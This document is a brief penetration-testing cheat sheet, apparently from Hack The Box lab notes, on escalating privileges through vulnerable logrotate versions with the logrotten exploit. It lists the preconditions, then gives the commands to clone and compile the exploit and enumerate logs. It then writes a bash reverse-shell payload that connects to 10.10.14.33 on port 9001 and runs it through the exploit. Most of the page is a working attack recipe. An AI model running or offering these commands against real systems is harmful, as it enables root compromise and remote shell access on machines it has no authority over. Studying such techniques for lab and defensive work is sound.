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# Exploit Logrotate

To exploit `logrotate`, we need some requirements that we have to fulfill.

<figure><img src="/files/WcEgfaFsjxwAFgT7fNgy" alt=""><figcaption></figcaption></figure>

1. we need `write` permissions on the log files
2. logrotate must run as a privileged user or `root`
3. vulnerable versions:
   * 3.8.6
   * 3.11.0
   * 3.15.0
   * 3.18.0

[GitHub - whotwagner/logrotten](https://github.com/whotwagner/logrotten.git)

```yaml
Intrusionz3r0@htb[/htb]$ git clone <https://github.com/whotwagner/logrotten.git>
Intrusionz3r0@htb[/htb]$ cd logrotten
Intrusionz3r0@htb[/htb]$ gcc logrotten.c -o logrotten

#List logs files
Intrusionz3r0@htb[/htb]$  cat /var/lib/logrotate.status

#List the available options
Intrusionz3r0@htb[/htb]$ grep "create\\|compress" /etc/logrotate.conf | grep -v "#"

#Write payload
Intrusionz3r0@htb[/htb]$ echo 'bash -i >& /dev/tcp/10.10.14.33/9001 0>&1' > payload

Intrusionz3r0@htb[/htb]$ ./logrotten -p ./payload /tmp/tmp.log
```


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